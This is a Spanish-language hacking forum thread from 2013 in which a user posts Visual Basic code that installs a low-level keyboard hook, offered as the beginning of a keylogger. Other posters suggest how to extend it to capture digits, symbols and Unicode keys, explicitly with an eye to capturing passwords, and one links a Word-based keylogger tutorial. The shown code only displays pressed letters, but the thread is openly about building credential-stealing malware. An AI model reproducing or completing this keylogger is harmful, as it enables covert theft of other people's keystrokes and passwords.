Prinsipio de un KeyloggerHook

Iniciado por Flamer, 31 Mayo 2013, 04:48 AM

0 Miembros y 1 Visitante están viendo este tema.

Flamer

hola amigos aqui les traigo un aporte para los que no saben como hacer un keylogger hook aqui les doy una idea de como pueden empesarlo

Code Form

Private Sub Form_Load()
If App.PrevInstance Then: End
TecladoHook
End Sub



Code Modulo

Option Explicit

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Private Const WH_KEYBOARD_LL As Long = 13

Private Hook As Long
Public Function TecladoHook()
Hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf TeclaPresionadas, App.hInstance, 0)
End Function
Public Function TeclaPresionadas(ByVal wParam As Long, lParam As Long) As Long

Dim zx As Integer

For zx = 65 To 90
   If GetAsyncKeyState(zx) Then
      MsgBox Chr(zx)
      Exit For
   End If
Next zx
End Function


ahora si a compilarlo y ejecutarlo

Nota 1: aclaro el code es mio no lo copie de otra parte como otros por hay
Nota 2: esto es solo una probadita de como hacer un hook al teclado ustedes pongan lo demas

Saludos Flamer y espero les sirva


x64core

Siempre Desenganchar el Hook con la api correspondiente.

Y por cierto, en que momento no hay un handle a la base del proceso?
If App.PrevInstance Then: End
Yo lo dudo.

Karcrack

Cita de: x64Core en 31 Mayo 2013, 08:35 AM
Y por cierto, en que momento no hay un handle a la base del proceso?
If App.PrevInstance Then: End
Yo lo dudo.
No confundas PrevInstance con hInstance.

tincopasan

En un principio está bien, pero está muy alto el rango de teclas! no podrás capturar números! y si pretenden capturar pass ¿quién no usa números?

MCKSys Argentina

Cita de: tincopasan en 31 Mayo 2013, 19:04 PM
En un principio está bien, pero está muy alto el rango de teclas! no podrás capturar números! y si pretenden capturar pass ¿quién no usa números?

Y símbolos "raros"...  ;D
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


LeandroA

Hola, ya que esta el tema les comparto este keylooger echo en Microsoft Word, es muy completo en su forma de capturar

http://www.taringa.net/posts/hazlo-tu-mismo/15626505/Como-hacer-un-keyLogger-en-Microsoft-Word.html

Saludos.

MCKSys Argentina

Me ha gustado mucho ese keylogger!!!

Gracias por compartir!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


Flamer

Cita de: tincopasan en 31 Mayo 2013, 19:04 PM
En un principio está bien, pero está muy alto el rango de teclas! no podrás capturar números! y si pretenden capturar pass ¿quién no usa números?

Cita de: MCKSys Argentina en 31 Mayo 2013, 19:53 PM
Y símbolos "raros"...  ;D
Es solo para explicar como enganchar el teclado, es solo el PRINCIPIO DEL KEYLOGGER HOOK.

no pienso poner todo el keylogger completo para que un lamber venga y lo copie todo y sin hacer nada no señor.

saludos flamer y nose si me entiendan

Notas: es solo el prinsipio y para que sepan como enganchar el teclado, para no usar timer

x64core

#8
Cita de: Karcrack en 31 Mayo 2013, 15:59 PM
No confundas PrevInstance con hInstance.

Buena vision Karcrack, Yo simplemente mire e imagine, Aparte que tengo años de no programar en VB.

Para numeros esto asi de simple, el problema es que el bucle compara y procesa solo si es un alfabetica,
En teclados rusos, chinos, Arabes, debes de usar Funciones unicode para poder captar correctamente.

Y recomiendo no usar GetKeynametext debido a que esta función tomara el nombre de una lista generada por el driver
del teclado por lo que si el keylogger esta en un sistema con un teclado ruso nombres de teclas seran mostradas
en ruso, etc.
Para simbolos como @[]+°-~|'}{¬ usar las flags de la estructura  KBDLLHOOKSTRUCT
( la cual no veo porque este tio uso GetAsyncKeyState, esta estructura tiene la información de la pulsación ) y trasladarla usando ToAscii/unicode.
Lo más complicado es capturar las teclas muertas Y recordar que cada hilo tiene su propio estado de teclas ( mirar ultimo parametro de SetWindowsHookEx y leer ).
He analizado monton de malware mier* que es llamado profesional y ni siquiera saben como programarlos para soporte unicode.